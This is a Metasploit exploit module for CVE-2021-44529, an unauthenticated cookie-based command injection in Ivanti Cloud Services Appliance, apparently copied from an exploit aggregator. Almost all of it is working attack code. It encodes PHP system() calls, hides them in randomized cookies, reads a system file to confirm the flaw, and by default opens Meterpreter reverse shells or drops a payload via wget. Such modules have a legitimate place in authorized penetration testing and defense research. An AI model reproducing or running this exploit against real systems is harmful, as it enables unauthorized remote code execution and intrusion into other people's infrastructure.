Exploit for Ivanti Cloud Services Appliance (CSA) Command Injection CVE-2021-44529

## https://sploitus.com/exploit?id=PACKETSTORM:170590
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ivanti Cloud Services Appliance (CSA) Command Injection',  
'Description' => %q{  
This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA)  
for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the  
Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to  
execute arbitrary code with limited permissions. Successful exploitation results  
in command execution as the `nobody` user.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Jakub Kramarz', # Discovery  
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor  
],  
'References' => [  
['CVE', '2021-44529'],  
['URL', 'https://forums.ivanti.com/s/article/SA-2021-12-02'],  
['URL', 'https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529'],  
['EDB', '50833'],  
['PACKETSTORM', '166383']  
],  
'DisclosureDate' => '2021-12-02',  
'Platform' => ['unix', 'linux', 'php'],  
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_PHP],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_http'  
}  
}  
],  
[  
'PHP Command',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['wget', 'printf', 'echo'],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter_reverse_http'  
}  
}  
]  
],  
'Payload' => {  
'BadChars' => '"' # We use this to denote the payload as a string so having it in the payload would escape things.  
},  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
end  
  
# Randomize the cookie pairs for the request.  
def randomize_cookie(payload)  
# Number of cookie pairs should be at least 4, and the first cookie pair should  
# always have the value 'ab'. Note that the Nth cookie in the request, where  
# N=no_of_cookies-2, should contain the payload.  
#  
# example 1: Cookie: sG34st=ab;g3sBdnn=<PAYLOAD>;h4hYyeEe=;j7sJJjjs=;  
# example 2: Cookie: dvDfR6F=ab;bxvGE=;Fs=<PAYLOAD>;uEn44Nkk=;nnXk=;  
no_of_cookies = rand(4..8)  
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)  
payload_cookie_number = (no_of_cookies - 2)  
random_cookie = "#{cookie_name}=ab;"  
for cookie_no in 2..no_of_cookies do  
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)  
if cookie_no == payload_cookie_number  
random_cookie << "#{cookie_name}=#{payload};"  
else  
random_cookie << "#{cookie_name}=;"  
end  
end  
  
return random_cookie  
end  
  
def check_vuln  
# check RCE by grabbing CSA version banner stored on /etc/LDBUILD  
payload = Base64.strict_encode64('readfile("/etc/LDBUILD");')  
cookie_payload = randomize_cookie(payload)  
  
return send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),  
'cookie' => cookie_payload.to_s  
})  
rescue StandardError => e  
elog("#{peer} - Communication error occurred: #{e.message}", error: e)  
return nil  
end  
  
def execute_command(cmd, _opts = {})  
case target['Type']  
when :unix_cmd  
payload = Base64.strict_encode64("system(\"#{cmd}\");")  
when :php_cmd  
payload = Base64.strict_encode64(cmd.to_s)  
when :linux_dropper  
payload = Base64.strict_encode64("system(\"#{cmd}\");")  
end  
cookie_payload = randomize_cookie(payload)  
  
return send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),  
'cookie' => cookie_payload.to_s  
})  
rescue StandardError => e  
elog("#{peer} - Communication error occurred: #{e.message}", error: e)  
fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")  
end  
  
def check  
print_status("Checking if #{peer} can be exploited.")  
res = check_vuln  
return CheckCode::Unknown('No response received from the target.') unless res  
return CheckCode::Safe unless res.code == 200 && !res.body.blank? && res.body =~ /<c123>/  
  
begin  
parsed_html = Nokogiri::HTML.parse(res.body)  
rescue Nokogiri::SyntaxError => e  
return CheckCode::Unknown("Unable to parse the HTTP response! Error: #{e}")  
end  
csa_version = parsed_html.at_css('c123')  
if csa_version&.text&.blank?  
CheckCode::Vulnerable('Could not retrieve version.')  
else  
CheckCode::Vulnerable("Version: #{csa_version.text}")  
end  
end  
  
def exploit  
case target['Type']  
when :unix_cmd  
print_status("Executing #{target.name} with #{payload.encoded}")  
execute_command(payload.encoded)  
when :php_cmd  
print_status("Executing #{target.name} with #{payload.encoded}")  
execute_command(payload.encoded)  
when :linux_dropper  
print_status("Executing #{target.name}")  
execute_cmdstager(linemax: 262144)  
end  
end  
end